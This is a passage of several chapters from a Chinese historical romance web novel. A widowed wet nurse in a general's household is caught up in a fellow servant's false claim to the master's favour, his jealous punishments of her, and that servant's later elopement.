她如今虽吃尽苦头,可若留在他身边只能是妾室,她从未心动过。 昨晚她还在纠结要如何是好。 如今姚宛儿主动认了,倒省去不少麻烦。 罗苒深吸一口气,把那点说不清道不明的涩意压下去,声音轻轻的道, “昨夜大爷赏了奴婢酒,奴婢喝了之后头昏得厉害,醒来的时候已经回屋了……中间的事……记不太清了……” 她没说是,也没说不是。 含糊其辞。 楚烬看着她,目光冷冷的,随后他笑了。 那笑意冷得像腊月的风,没到眼底就散了。 “好。” 他靠回椅背,声音淡淡的, “既然如此,本将军自会负责。” 他看了一眼跪在地上的姚宛儿。 “过几日便纳你做良妾。” 此话一处,罗苒不由意外。 直接越过通房和侍妾,抬成了良妾,从此之后姚宛儿便是这大房里唯一的姨娘了。 这算是给了天大的脸面了。 姚宛儿也愣了,泪还挂在脸上,一时忘了哭,慌忙磕头, “谢大爷恩典……谢大爷恩典……” 楚烬没再看她,只盯着罗苒,像是要从她脸上看出什么来。 罗苒低着头,手指攥着衣角,神情麻木,没有艳羡没有嫉妒,只有糊弄过去后的松快。 看的楚烬越发觉得碍眼。 “既然不关你事,那你便下去继续做你的下人。” 楚烬声音冷冽,却带着一股说不清的火气。 随后便不再理睬,转头唤了郭管家进来,语气已经恢复如常,吩咐给姚宛儿安排新的衣食住行,一应物什都要最好的。 罗苒默默退出去,脚步稳稳地穿过回廊,往衍哥儿院里走。 院子里,阳光正好。 李婆婆和刘婆婆正抱着衍哥儿和小玥晒太阳,两个小家伙被逗得咯咯笑。 见罗苒来了,两个婆子也不避讳,继续聊着府里最新鲜的那桩事。 “罗娘子这好不容易找了人一起当值,还没轻快一个月呢,又得一个人忙活了。” 李婆婆语气里带着几分同情。 刘婆婆撇撇嘴,压低声音, “那姚宛儿看着清清纯纯的,还真看不出来有这手段。” “我早就看出她不是善茬。” 李婆婆不以为意地接话, “正经的姑娘家,能去做奶娘?怕是打从一开始就是奔着勾搭主子的目的来的。” 刘婆婆看了罗苒一眼,带着几分怂恿的意味, “要我说,罗娘子你比那姚宛儿俊多了。虽说带着孩子,但小玥也讨人喜欢。不如也争取一下,指不定也能抬个姨娘当当,这辈子也算是安稳了。” 李婆婆也来了精神,连连点头, “对啊,我看大爷对你可不一般。那眼神,看你就跟看别人不一样,指不定真的喜欢你,直接让你做将军夫人呢。” 罗苒勉强扯了扯嘴角,勉强自己笑了笑, “婆婆们就别打趣我了。” 她弯腰把小玥从刘婆婆怀里接过来,小丫头一看见她就伸手要抱,嘴里喊着“娘、娘”,软软糯糯的。 罗苒把她搂进怀里,下巴轻轻蹭了蹭她毛茸茸的头顶。 她心里清楚得很。 楚烬这样的人,就算之前成过亲,正妻的位子也绝对不可能是她这样的寡妇。 她带着孩子,没有家世,没有背景,上不了台面。 他们之间隔着的东西,比楚府的门槛高多了。 她只想安安稳稳做衍哥儿的奶娘。 等衍哥儿断了奶,自己也攒了差不多的银子,便带着小玥离开,出去找个营生度日。 若是命好能碰到良人,便举案齐眉,白头到老。 若是命不好,便安心抚养小玥长大成人,也挺好。 总归是不当那些和许多女人一起分享丈夫,整日算计争宠的通房妾室。 第24章 谢阿苒姐姐成全 郭管家的速度很快,一整日府里来来往往,置办了很多东西。 楚烬的意思是在外祈福的老太太即将回来,待领着姚宛儿见过长辈后,就正式抬做良妾。 虽说如今还没有正式名分,但府里上下都已经把她当半个主子看了。 贺喜的人差点踏破了姚宛儿新入住的小院门槛。 罗苒以为她这几天正忙着应酬,没成想第二天晚上,姚宛儿就来了。 一进屋便跪下了,红着眼圈, “宛儿谢阿苒姐姐成全。” 罗苒看着她,一时有些恍惚。 姚宛儿换下了下人服,穿着一身藕粉色的绸缎衣裳,头上簪着两支精致的宝石珠钗,翡翠耳坠晃晃悠悠的,倒真有几分主子的样子了。 人各有志,追求不同,她也没什么好说的。 罗苒心中说不出什么感觉,弯腰把姚宛儿拉起来, “别跪了,起来说话吧。” 姚宛儿顺着她的力道站起来,垂着眼,手指绞着帕子,沉默了好一会儿才开口。 “姐姐你别怪我……我是真的走投无路了……” 罗苒看她,下意识地问, “到底是怎么回事?那晚你不是同我一起回去了吗?为何……” 姚宛儿咬着唇,思量片刻还是低低地道出了实情, “那晚我看姐姐那副样子从阁楼上跑下来,就猜出了什么……” “晚一些我便又壮着胆子回去了,看见大爷在软塌上睡得很熟……想着他醉得厉害,糊里糊涂的,到时便当作是我想来也能糊弄过去……” 罗苒看着她,没说话。 她顿了顿,低着头,声音更小低地继续道, “姐姐那时行色慌张,显然不想让人知道和大爷的事,所以我顺势认了的话想必姐姐你也不会说什么……” 姚宛儿抬起头,眼泪已经淌了满脸, “我知道我做的事很不耻,可是姐姐你不知道,我爹又赌了。这次若还不上,我那两个才十岁出头的妹妹就要被他卖到青楼去……我实在没办法了,才会一时做了这种事……” 她抬起泪眼望着罗苒,眼神里有愧疚,有难堪,还有一种走投无路的人特有的决绝。 “我是真看姐姐没有那种想法,才敢冒充的。” 罗苒坐在那儿,听着这些话,顿时五味杂陈。 罗苒沉默了好一会儿,终究是心软了。 她叹了口气,“行了,别哭了,左右是你自己的选择,你不后悔就行……” 姚宛儿还在抽抽搭搭的,眼睛一眨不眨地盯着罗苒的脸,像是在确认她是不是真的不生气。 她来之前,其实心里一直悬着。 这两日她风光了,院里人来人往,贺礼堆了小半间屋子,可越是风光,她越是不安。 她怕罗苒心里不平衡,怕罗苒一时想不通跑去跟楚烬戳穿她,怕好不容易抓住的东西,转眼就没了。 如今见罗苒没有那个意思,她心里那口气总算松了下来,眼泪又涌了出来,这回是真心实意的, “谢谢姐姐,谢谢姐姐……” 她攥着帕子擦了擦眼泪,声音还有些发颤, “姐姐的恩情,宛儿记一辈子。” 罗苒点点头,没再接话。 姚宛儿又絮絮叨叨说了一会儿,见罗苒确实没有别的意思,才告辞走了。 日子又回到了老样子。 饶宛儿不做奶娘了,罗苒又一个人当值。 一天到晚忙忙碌碌的,倒也没空想那些有的没的。 过了两日,罗苒在府里偶然遇见了之前帮她在议亲时解过围的裴济。 他站在回廊拐角处,依旧是那青色衣袍,正低着头看袖口,眉头微微皱着,一副为难的样子。 “裴公子?” 罗苒路过的时候顺势喊了一声。 裴济抬头看见她,有些不好意思地笑了笑, “罗娘子。” “方才不小心被树枝刮了一下,想找个婢女讨个针线盒子,转了一圈没找到人……” 罗苒看了一眼他袖口,裂开了一道口子,不大,但穿出去确实不好看。 “公子会缝?” 她有些意外。 裴济的脸微微红了红, “小时候看母亲缝过,应该……差不多吧。” 罗苒忍不住笑了一下。 想起之前他在后巷替自己解围的事,那份情她一直记着。 她伸手道, “给我吧,我帮公子缝。” 裴济愣了一下,忙摆手, “这怎么好意思……” 罗苒笑了笑,“公子之前帮过我,这点小事不算什么。” 裴济犹豫了一下,脱下外衫递了过去,垂着手站在一旁,耳根有些发红。 罗苒便翻出随身带的针线包,坐在廊下的长凳上,低头缝了起来。 她针线活做得利索,几针下去,那口子就被缝得严严实实,线脚细密平整。 裴济站在一旁看着,目光落在她低垂的侧脸上,又飞快地移开,耳朵更红了。 “好了。” 罗苒咬断线头,把衣裳递过去。 裴济接过来,翻来覆去看了看,眼里露出几分佩服, “罗娘子的手艺真好,比我母亲缝得还细致。” 他身量修长,面容清雅,言行举止都透着读书人特有的端正有礼。 罗苒看着他那副一本正经道谢的模样,有些不好意思,不由笑了笑, “公子过奖了。” “过奖什么?” 一道阴恻恻的声音突然从身后响起,罗苒转头,就看到不远处不知何时出现的楚烬。 他站在回廊那头,脸色沉冷,看人的目光都带着寒意,让人骨头缝里发凉。 罗苒脸上的笑意僵住了。 楚烬盯着她,目光在她脸上停了一瞬。 平日里对着他的时候诚惶诚恐,恨不得把头低到地底下去,现在倒是对着外人笑得好看。 他胸口那股火拱上来,面上却不显,只慢悠悠走过来, “表叔这外衫,怎么了?” 第25章 等我回去再收拾你 裴济依旧是一副谦谦君子的模样,笑着解释, “是我外衫刮破了。来赶考只带了两套衣物换洗,正好碰到罗娘子,帮我补了。” 他低头看了看缝好的袖口,语气里带着几分真诚的赞赏, “人漂亮,手也巧,这针脚密密的,结实又好看。” 楚烬目光再次扫过罗苒,她垂着眼,抿着嘴,对他那副忌惮的样子跟方才冲着裴济笑的样子判若两人。 心里顿时更堵了。 “哦?” 他挑眉,看向裴济手里的外衫, “我到是不知道衍儿的奶娘还有这手艺,我瞧瞧,手艺有多好……” 未等裴济反应,他伸手将那外衫拿过来,手上稍微用力, “嘶啦……” 布帛撕裂的声音在安静的廊下格外刺耳。 刚刚缝好的地方被整整齐齐地撕开,线头崩断,布料垂下来。 罗苒瞪大眼睛,不敢相信地看着那件外衫,又抬头看向楚烬,满眼都是诧异和不解。 裴济也愣了,脸上的笑意敛了几分,“阿烬,你这是……” 楚烬冷笑一声,“这样不怎么样嘛,还没用力就破了。既然破了,就不要了。” 他偏头喊了一声管家,将那破衣裳随手一扔,语气淡淡的,“给表叔配几套合适的云锦绸缎外袍。” 管家应声上前,拿着那件破掉的外衫,躬身退下。 楚烬这才转头看向罗苒,目光冷飕飕的, “身为衍哥儿的奶娘,不好好在院里当值,擅自跑出来做这些有的没的……” 罗苒不清楚他为什么又恼了自己,只被他那眼神看得心里发慌。 她下意识缩了缩肩膀,小声讨饶, “大爷恕罪……” 楚烬看着她那软软的人人揉捏的样子,心中烦躁更重了几分。 “缝得那么差,万一表叔穿着这衣衫出门出丑,你担待得起吗?” 罗苒杏眼里闪过无措惊惧,腿一软便跪了下去,颤着声,“大爷开恩……” 裴济见状,忙上前一步,想要替她说话, “阿烬,只是一件小事,何必大动肝火。罗娘子也是好意,是我请她帮忙的……” 楚烬冷眸一瞥,冷硬地打断他的话, “我教训我的人,就不劳烦表叔费心了。” 裴济张了张嘴,看着他眼底那不容置疑的神色,到底没再说什么。 罗苒跪在地上,低着头,不敢看任何人。 她不知道自己做错了什么,也不知道他为什么发这么大的火。 只觉得委屈,又不敢说,只能把那股酸涩压在喉咙里,不敢让它冒出来。 楚烬居高临下地看着她,看着她那副缩成一团的样子,心里那股邪火不但没消,反而烧得更旺了。 冷冷对罗苒道, “滚回我院中跪着,等我回去再收拾你。” 说罢大步离开,衣袍带起的风刮过罗苒的脸,凉飕飕的。 罗苒垂着头,跪在楚烬房门口。 地又冷又硬,膝盖硌在青砖上,隐隐作痛。 廊下的灯笼摇摇晃晃,把她的影子拉得老长。 她不知道自己做错了什么,也不知道楚烬要怎么收拾自己,只能老老实实跪着等。 一个时辰过去了,膝盖从疼变得麻木。 她低着头,盯着地面上一道细细的砖缝,心里惦记着小玥有没有哭,衍哥儿有没有闹。 正想着,头顶忽然压下一片阴影。 她抬起头,对上楚烬那双沉沉的眼睛。 一件带着冷松香气的外衫迎头扔下,将她整个人罩住。 罗苒手忙脚乱地挣开,低头一看,是楚烬的衣裳。 白日里还好好的,现在却撕开了一道大口子,从袖口一直裂到腋下。 楚烬站在她面前,居高临下地看着她,眼底幽幽的,像深夜里燃着一簇暗火。 “不是喜欢缝吗?” 他声音不轻不重, “给我缝。” 罗苒愣了一下,不敢多问,跪在那儿,低下头开始穿针。 楚烬转身进了屋,在书案后坐下,拿起一本什么书翻着,不再看她。 廊下安静下来,只有针线穿过布料的细碎声响。 罗苒一针一针地缝着,手指有些发抖,针脚不如平日齐整。 她怕缝得不好他又要恼,又拆了重新缝。 膝盖早就没了知觉,腰也酸得厉害,眼睛盯着那密密麻麻的针脚,又涩又疼,得使劲睁着才不模糊。 屋里传来翻书的声响,偶尔有茶盏搁在桌上的声音。 她不知道过了多久,只觉着夜越来越深,风越来越凉,手里的衣裳却还有大半没缝完。 她想起小玥,这会儿该醒了,找不到她会不会哭。 想起衍哥儿,半夜还要喂一次奶,李婆婆不知道能不能哄住。 想着想着,眼眶就热了,一滴泪落在衣裳上,洇出一小块深色。 她赶紧用袖子擦了擦,可眼泪像开了闸,怎么都止不住,一滴接一滴地落下来。 她咬着唇,不敢哭出声,只小声抽泣着,手上却不敢停 头顶的光被遮住了一些。 楚烬不知什么时候走到了她面前,蹲下身,粗糙的手指捏住她的下巴,把她的脸抬起来。 烛光映在她脸上,泛着一圈盈盈的光晕,睫毛湿漉漉的,一簇一簇黏在一起,眼眶红红的,鼻尖也红红的,满脸都是泪,可怜得不像话。 他看着那模样,喉结滚了滚,声音却还是硬的, “怎么,让你给我缝件衣裳,就委屈成这样?” 罗苒泪盈盈地望着他,嘴唇哆嗦着,软软的声音带着颤音, “爷,奴婢知错了……您就饶了奴婢吧……” 楚烬居高临下地看着她,拇指在她下巴上蹭了一下,蹭掉一滴泪, “错哪儿了?” 罗苒抽抽搭搭的,声音断断续续, “奴婢手脚笨拙,不该……不该……随便管旁人的事,奴婢是大爷房里的人,应该恪守本分,不该在当值的时候跑出去……” 她不知道哪句话对了他的心思,只觉着捏着她下巴的手松了些。 楚烬看着她,那目光还是沉的,却不那么冷了。 “起吧。” 罗苒如蒙大赦,撑着一旁的门框站起来。 告退后一瘸一拐往回走。 走得急了些,刚出了楚烬的院子,就在鹅卵石小道上绊了一跤。 已经跪到青肿的膝盖磕在凹凸不平的石子上,疼得她冷汗都冒了出来,脚踝好像也崴了。 前几天大腿根被磨的红肿还没消,这会儿新旧伤叠在一块,她坐在地上试了几次都爬不起来,眼泪又要往下掉。 “啧……” 身后传来一声略带嫌弃的轻嗤。 罗苒转头,看见楚烬不知何时跟了出来。 第26章 你是水做的?这眼睛天天下雨。 也不知这个时辰要出院去哪儿,一身玄色衣袍站在月色里,在她身后居高临下地看着她狼狈跌坐在地上眼泪汪汪的模样。 看着楚烬那冷冰冰的似乎还带着鄙夷的表情,罗苒瘪瘪嘴,眼泪又蓄满了眼眶。 楚烬开了口,声音不轻不重, “你是水做的?这眼睛天天下雨。” 罗苒被他这么一说,硬生生把眼泪又憋了回去。 多少有点赌气,自己撑着地往旁边挪了挪,想给他让出道来。 楚烬瞅着她那副还倔上了的模样,挑了挑眉。 下一瞬,他弯腰,一把将她捞起来,打横抱进怀里。 罗苒惊得抓住他的衣襟,还没来得及说什么,他已经大步流星地往回走了。 罗苒被他抱在怀里,隔着衣物也能感受到他胸膛的厚实。 他身上那股热气透过薄薄的春衫渗过来,带着隐隐的松香气息,烫得罗苒后背都跟着发软。 脸不禁烧了起来,耳根子都红了。 “放,放我下来……” 她小声挣扎着,手推了推楚烬的肩膀, “我可以自己走……” 楚烬低头看了她一眼,没说话,也没松手。 罗苒被他那眼神看得更慌了,又挣了两下,想从他怀里滑下去。 楚烬不满她在他怀里不安分,低声警告, “再不老实扔湖里。” 说话间,小臂一用力,把手中的小娘子往上掂了掂。 罗苒被颠得猝不及防,小声惊呼,本能地伸手搂住他的脖颈,整个人贴了上去。 鼻尖蹭到他的衣领,那股冷松香更浓了。 这男人整日阴晴不定的,前一刻恼怒可怖,后一刻指不定就如沐春风,将人扔湖里这时指不定真能干得出来。 罗苒紧紧攀着楚烬的脖颈,整个人缩成一团,再也不敢乱动了。 楚烬感觉到那两条细细的胳膊缠上来,软软的,带着甜滋滋的奶香。 嘴角几不可察地弯了弯,步子放慢了些,不紧不慢地往回走。 进了屋,把人放在榻上。 楚烬蹲下身,也不问她,直接掀开她的裤腿。 那两截白细的小腿露了出来,膝盖果然青紫了一片,脚腕也肿起来。 那纤细得不盈一握的小腿干上还零星散着几块淤青,青的紫的黄的,跟幅彩墨画似的。 楚烬看了一眼,轻笑一声, “就是跪了个把时辰,就娇嫩成这样?” 他抬眼看着乖乖坐在榻上的小人儿,那浓密睫毛上还湿漉漉的。 语气里带着几分调侃, “我方才说错了,你不是水做的,是面团捏的……又白又软,稍微一碰就留印。” 罗苒抿着嘴不吭声,脸却因为楚烬没有来的打趣悄悄红了几分。 楚烬起身,从柜子里取了只小瓷罐出来,作势要蹲下给她上药。 罗苒吓得慌忙伸手去接, “谢大爷恩惠,奴,奴婢自己来……” 楚烬倒也没坚持,把药膏递给她,往旁边一坐,抱着胳膊看。 罗苒低下头,指尖沾了药膏往膝盖上抹。 那药膏清清凉凉的,抹上去没多久,肿痛就消了大半。 又抹了抹脚踝,红肿肉眼可见地褪了下去。 精致的小脸上忍不住露出几分惊奇。 楚烬靠在椅背上,嘴角微弯, “药王谷的玉髓生脉露,便宜你了。” 罗苒一听这名字,手都抖了一下。 那可是传说中能生骨延脉,千金难求的神药。 她慌忙把瓷罐盖好,不敢再多抹一点。 楚烬的目光却落在她小腿干上,那几块淤青并排印在那儿,边缘已经泛了黄,看着有些时日了。 “那里呢?不是还有几块?也不上药。” 罗苒这才注意到他说的是哪儿。 脸顿时红的不成样子。 那几块淤青是那晚留下的…… 那晚,楚烬一次之后还不满足,将她翻过来,把她双腿并拢扛在一侧肩上蹭,那几道印子就是他箍着她小腿时留下的…… 不只是小腿,大腿上也有,腰上满是,根本没眼看…… 忍着羞意慌忙把裤腿放下来遮住,不敢看一旁的男人一眼, “那,那里是前几日磕的……不碍事。” 楚烬看着她红透的耳根,连着脖颈都泛着粉意,眼底浮起一层薄薄的笑意,没再继续追问。 抹了药的罗苒一瘸一拐地走回住处,隔壁的丫鬟仙儿就过来了。 手里拿着个药膏,“阿苒姐,裴公子听说你被罚跪了,托我给你捎来的。” 提及裴济,罗苒便想起楚烬那双阴恻恻的眸子,连忙推回去, “不用了,我已经抹了药,替我给裴公子道声谢。” 她可断然不敢收了。 …… …… 两年前去护国寺祈福的老夫人回来了。 楚烬一向敬重这位祖母,亲自将她接回府,还办了场隆重的家宴。 府里从半个月前就开始筹备了。 洒扫、除尘、换新帘子,连廊下的灯笼都换了新的,红绸从大门口一路挂到正厅,远远望去像一片流动的霞光。 厨房里从早到晚没停过火,蒸煮煎炸的香味飘得满府都是,连路过的野猫都蹲在后厨门口不肯走。 到了正日子,府门大开,车马盈门。 宾客们络绎不绝地涌进来,丫鬟婆子端着茶水果品穿梭往来,忙得脚不沾地。 老夫人被楚烬亲自搀着进了正厅。 她虽年迈,精神却好,一身绛紫福纹锦袍,头上戴着赤金嵌翠的头面,走起路来环佩叮当,雍容华贵的气度压得住满堂宾客。 楚烬跟在她身侧,难得换了身正式的靛蓝色锦袍。 那锦袍是蜀锦贡缎裁的,深蓝底子上织着暗纹云雷,日光下隐隐泛着流光,衬得他肩宽背阔,腰身收束得利落。 腰间系着白玉带,素净清冷,把他周身那股子悍厉都镇住了几分。 头发也规规矩矩束起来,戴了顶墨玉小冠,露出棱角分明的下颌和一双深邃的眼。 平日里那股子凶悍凌厉被压下去不少,倒真像个世家公子的模样了。 如此俊逸非凡,惹得宴会上的小姐丫鬟脸红一片。 第27章 让姨母给我做主 宾客们纷纷起身见礼,老夫人含笑应着,目光扫过满堂子孙,脸上是掩不住的欢喜。 罗苒身为衍哥儿的奶娘,抱着衍哥儿也在席上伺候。 老夫人见这衍哥儿戴着虎头帽,胖嘟嘟跟年画娃娃似的,喜欢的不得了,当场赏了个白玉长命锁。 转头便对楚烬催婚道, “你年纪也不小了,该找个稳妥贤惠的内人,为楚家开枝散叶了。” 楚烬应了一声,面上看不出什么。 裴济身为老夫人的表侄,也上前敬酒。 他是老夫人最小妹妹的孩子,妹妹远嫁北方后,姐妹俩再没见过。 老夫人对这个表侄格外上心,拉着他的手问长问短。 “你是不是也不小了?我记得和烬儿同岁。好歹烬儿还成过一次亲,你怎么到这个岁数,连个妻子也没娶?” 裴济笑得腼腆温和, “姨母,我什么情况您又不是不知道。如今连个功名都没有,就不祸害人家姑娘了……” 听闻裴济这样说,老夫人眼里闪过一丝心疼,拍着他的手道, “你也不要妄自菲薄,总有那不在意那些的……真心实意想跟你过日子的姑娘……” “依我看,干脆这次来了就别回去了,留在帝都,姨母给你寻门好婚事。” 她顿了顿,笑着问, “你来楚府这么久,可有觉得不错的小姐姑娘?只管告诉姨母。” 裴济不动声色地看了一眼不远处正专心给衍哥儿喂饭的罗苒。 她专心喂着孩子,眉眼温顺柔和,侧脸被烛光映着,说不出的好看。 裴济眼底染上几分暖意,收回目光,对老夫人笑道, “若是有相中的,定跟姨母说,c。” 在角落的罗苒注意力全在衍哥儿身上,没注意到主位上的这番谈话。 倒是楚烬,将裴济那一眼看了个正着。 他端起酒杯抿了一口,眼底闪过一丝不耐和几分说不清道不明的冷意。 衍哥儿睡得早,宴席到了一半就打盹了。 罗苒跟管家说了一声,便抱着已经睡着的衍哥儿往后院走,夜风把她额前的碎发吹起来,凉丝丝的。 她走得很慢,怀里的小人儿沉甸甸的,压得她胳膊有些酸,却不敢换手,怕把他弄醒了。 经过花园时,身后传来脚步声。她没有回头,只往路边让了让。 “罗娘子。” 是裴济的声音。 罗苒转过身,裴济站在几步开外,手里提着盏灯笼,暖黄的光映在他脸上,把那副温和的眉眼照得格外柔和。 “方才在席上就想跟娘子道歉,上回的事,是我害你被罚……” 罗苒摇摇头,腿上的伤抹了楚烬给的药膏后,第二日便好了大半,她并不在意, “裴公子无需自责,是我坏了楚府规矩在先,和你无关。” 裴济看着她怀里熟睡的衍哥儿,声音放轻了些, “衍儿睡了?我送你回去吧,天黑路不好走。” “不用了。” 罗苒下意识开口,上次的事她隐约察觉出楚烬似乎不喜欢她和裴济接触,虽然不知为何,还是本能地想要避开。 话一出口又觉得有些不近人情,便放软了声音, “公子先回吧,我自己走就行,没几步路。” 裴济却没动,只笑了笑,声音温和却带着几分坚持, “席上不乏喝醉的,在花园里透风。别突然出来吓到孩子。” 说着,他往前走了两步,把灯笼举高了些,暖黄的光稳稳地落在她脚前的青砖上。 罗苒张了张嘴,想再推辞,可看着他温和的眉眼和举灯时微微侧身的姿势,分明是在替她和衍哥儿挡着风口…… 到嘴边的话又咽了回去。 她抱紧怀里熟睡的衍哥儿,低声道了句谢,便顺着那光往前走。 裴济走在她身侧,不远不近,灯笼始终举在她前头半步的位置,自己的半边肩膀倒落在了暗处。 两人都没说话,只有脚步声在安静的夜里一下一下地响,偶尔有风吹过,把灯笼的光晃一晃,他便把灯往她那边又倾一些。 罗苒垂着眼,只盯着脚下的路,心里却有些说不清的滋味。 这人的体贴是润物无声的那种,不张扬,不逼人,让人想拒绝都找不到由头。 走了一会,忽而余光扫见不远处回廊下站着一个人。 楚烬不知什么时候站在那里的,一身靛蓝色衣袍几乎融进夜色里,只有廊下的灯笼勾出他高大挺拔的轮廓。 他手里也提着盏灯,却不像裴济那样举着,只随意拎着,光落在他脚边,照出一小片昏黄。 他脸上的表情看不清,可罗苒就是知道他在看她。 那目光好似有分量般,隔着老远都能感觉到。 她心里莫名一慌,下意识往后退了半步,跟裴济拉开了一点距离。 “送到这里就可以了,” 她声音有些发紧,处于礼貌还是道谢道,“多谢裴公子。” 裴济也注意到了回廊下的人,脸上的笑意顿了顿,随即恢复了温和的模样,声音还是那样不紧不慢的, “好,罗娘子快进去吧,我再目送你一段。” 罗苒应了一声,抱着衍哥儿快步往衍哥儿院子方向走去。 走了两步,她又忍不住往不远处看了一眼。 回廊下已经空了,只有那盏灯笼挂在一旁的绿植上,孤零零地晃着。 罗苒也不知道自己哪里触了楚烬的霉头。 自宴会第二日起,他脾气越发不好,有事没事地找茬。 今日说她身上太香了,熏得他头疼。 明日嫌她站在门口候着时,挡了光,她退到角落,又说她躲那么远做什么,怕他吃了她不成? 他冷着脸训她,她只能受着,低着头一句都不敢回。 李婆婆和刘婆婆都看出不对劲。 以往大爷忙得很,心思都放在国家大事上,从来不管后院这些琐碎事。 有丫鬟不小心冲撞了他,他也从不计较,摆摆手就过去了。 如今怎么偏偏就逮着罗苒这小娘子一个人挑刺? 私下问便她是不是得罪了大爷。 她仔细想了想,便是那日被楚烬罚跪后没多久开始的。 以前楚烬虽然也凶,但凶得有道理,如今是没道理也要找出道理来。 莫不是因为绣工不好差点让楚府的客人出了笑话这件事,惹了楚烬厌烦? 所以才格外看她不顺眼。 她越想越觉得是这么回事。 所以之后干活时便格外小心翼翼,连喘气都放轻了,生怕哪里又惹着他不高兴。 可楚烬却总能挑出毛病来,好像每天都要看她红着眼,或者掉几滴泪他才会舒坦。 简直让人苦不堪言。 第28章 奴婢又做错了什么? 唯一让她稍微有点开心的,是回府的老夫人赏了府中所有下人,每人还添了两套新衣。 分发衣物那天,楚府里一片欣欣向荣,喜气洋洋,唯独一人例外…… 那就是姚宛儿。 先前楚烬说好,等老夫人回来便带她见过,正式纳为良妾。 可老夫人回来也有些日子了,他却像彻底忘了这回事,连宴会都没让姚宛儿去。 之前安排的是最好的衣食住行,风光无限。 如今却无人问津,府里渐渐有了看笑话的人。 罗苒在衍哥儿院里带孩子,却见几日没露面的姚宛儿突然来了。 她边逗衍哥儿边笑盈盈地道, “做了快一个月的奶娘,对衍哥儿和小玥还是有感情的,几日不见,怪想的,过来看看他们。” 这说辞倒也合理,可罗苒总觉得她哪里怪怪的。 到了晚间,姚宛儿又来了。 她带了一包衣物布料,都是华贵崭新的,堆在桌上,烛光下泛着柔润的光泽。 “我来楚府不久,唯一关系好一些的就是苒姐姐……” “也多亏了姐姐,我才有了足够的银子,但我没有给我爹还债……我知道他就是个无底洞,永远填不满,我把钱给了我娘,让她带着我妹妹去了我爹找不到的地方,重新生活。” 她顿了顿,把那包衣物往罗苒面前推了推,“这些衣服和布料都是新的,我留着也用不上,送给姐姐。” 罗苒看着她,越发觉得不对劲,忍不住问她,“宛儿,你不对劲……你到底怎么了?” 姚宛儿沉默了一会儿,忽然笑了,那笑容里有一种如释重负的轻松,“既然姐姐看出来了,那我便不瞒姐姐了,我要走了……” 罗苒愣住了。 她才过了几天主子的日子,怎么就要走? 走又能去哪儿? 如今虽没被正式抬成姨娘,可府里都知道她是楚烬的人了。 楚烬不松口,她又能去哪儿? 姚宛儿苦笑着继续道,“大爷之前说要带我去见老夫人,也没了下文……老夫人在宴会上催婚,他连提都没提我一嘴……” 她低头看着自己精心养护的指甲,声音平静得像在说别人的事, “我就算再傻,也知道大爷心里一点没有我,我还在这儿挨着做什么?” 姚宛儿抬起头,看着罗苒,眼底隐隐闪着光亮, “姐姐,实话跟你说吧,其实我还有个青梅竹马,索性大爷从未碰过我,我决定跟他私奔了。” 罗苒大惊,连忙拉住她,“你疯了?怎能想要计划这种糊涂事!你可知女人私奔若是被抓回来是什么下场?” 饶宛儿反手握住她,掌心是凉的,力道却很稳, “姐姐,我不是贪图名利富贵的人,之前冒充你也确实是走投无路,如今娘和妹妹们安顿好了,我也没有顾虑了,就想放手一搏……” “我知道被找回来的后果,可与其在这后院里守着心不在的男人,寥寥一生,还不如赌一赌。” 罗苒张了张嘴,想劝,却发现自己说不出什么有分量的话来。 姚宛儿继续道,“我收拾了细软首饰,这些衣物布料不便拿。与其留在府上,还不如给姐姐,姐姐不嫌弃就收下吧,也算是我一番心意,给姐姐的补偿……” 她走到门口,又回头,冲罗苒笑了笑。 那笑容里没有悲伤,只有一种即将远行的轻松。 “姐姐,保重。” 饶宛儿真是说到做到,第二日一早府里便传出她逃跑的消息。 楚府跑了个女人,这事可大可小。 楚家也不是尖酸刻薄的,只是她刚得了恩赐便将屋里细软全部卷走逃跑,确实过分。 说到底还是要查一番的。 虽然她先前冒认身份冒领不对,但相识一场,罗苒还是多少替她担心,却怎么也没想到这件事会牵扯到自己身上。 罗苒被叫到楚烬书房时,楚烬刚从军营练兵回来。 暮色从窗户间斜斜地透进来,笼在他身上那副银光流转的铠甲上。 冷冽的光与暗影交错,衬得他整个人如出鞘的利刃。 罗苒从未见过他穿铠甲的模样,原本便高大的身躯,此刻被这铁衣一衬,愈发显得壮硕挺拔,肩背宽阔得仿佛能撑起整片天穹。 他静立在那里,便似山岳横亘,沉沉的威压无声地漫开来,无端叫人心悸。 罗苒缩在门边的角落里,目光小心翼翼地在他身上打了个转,又飞快地垂下。 她尚不明所以,也不知是不是一身战服的楚烬威慑力太强,只觉得此时屋内气氛让她有些透不过气。 楚烬扫了她一眼,没急着开口,只唤了丫鬟进来卸甲。 几个丫鬟鱼贯上前,轻车熟路地解着甲胃的系带。 那身银甲一件件被取下,露出里头一身轻薄的玄色便衣。 衣带勒紧劲腰,将宽肩窄腰的身形勾勒得越发分明,长腿结实修长,每一寸都带着悍勇之气。 他抬手挽了挽袖口,露出小麦色的小臂,线条有力,青筋微凸。 随后,他抬起头,目光扫向角落里的罗苒,眼底带着沉沉的冷意。 只一眼,罗苒就不自觉地绷紧了肩膀,连呼吸都放轻了。 这几日这男人处处挑刺找茬,她已经忌惮得不行,如今这脸色,顿时她心里打起了颤。 她尽量把声音放得轻柔些, “大爷,您找奴婢……” 楚烬开口,声音低沉平缓。 “可知今日叫你来是所谓何事?” 可越是这种轻飘飘的语调,越让人觉得是风雨前的宁静,叫人后背发凉。 罗苒确实不明所以,但看着楚烬那沉沉的眸色便能大体猜出许是自己又不知何时惹了他不快,便小声嗫嚅道, “大爷,奴婢……奴婢又做错了什么?” 楚烬不急不慢渡到她面前。 他身量高,垂着头的罗苒只到他肩膀。 他往那儿一站,影子就把她整个人罩住。 低头看着那张无措茫然的脸,楚烬俊脸冷着,眼神锐利得像刀子,让人心里直发毛。 他慢悠悠开口,声音不轻不重, “表面看着娇柔胆小,却没想到竟还有那胆子,敢助饶宛儿逃跑。” 第29章 跪好,腰挺直 听闻楚烬提及姚宛儿,罗苒脸色顿时白了几分,惊慌地抬头看他, “大爷,我没有,我怎敢……” “那为何有下人说,看到饶宛儿逃走之前,前一晚去找过你?” 罗苒没想到这事会被看见,嘴唇哆嗦了一下,只能承认, “饶宛儿,确实找过奴婢。” 楚烬看着她,目光沉得像深潭,一字一顿, “那想必,你已经知晓她有逃走的心思了。” 罗苒张了张嘴,想说没有,可她那点小心思在这双眼睛底下根本藏不住。 她不是那种能面不改色扯谎的人,眼底闪过的慌乱和心虚,已经把她卖了个干净。 楚烬看着她那副又慌又怕连谎都不敢说的样子,忽然轻笑一声, “隐瞒不报,罗苒,你好大的胆子。” 罗苒腿一软,随即跪了下去。 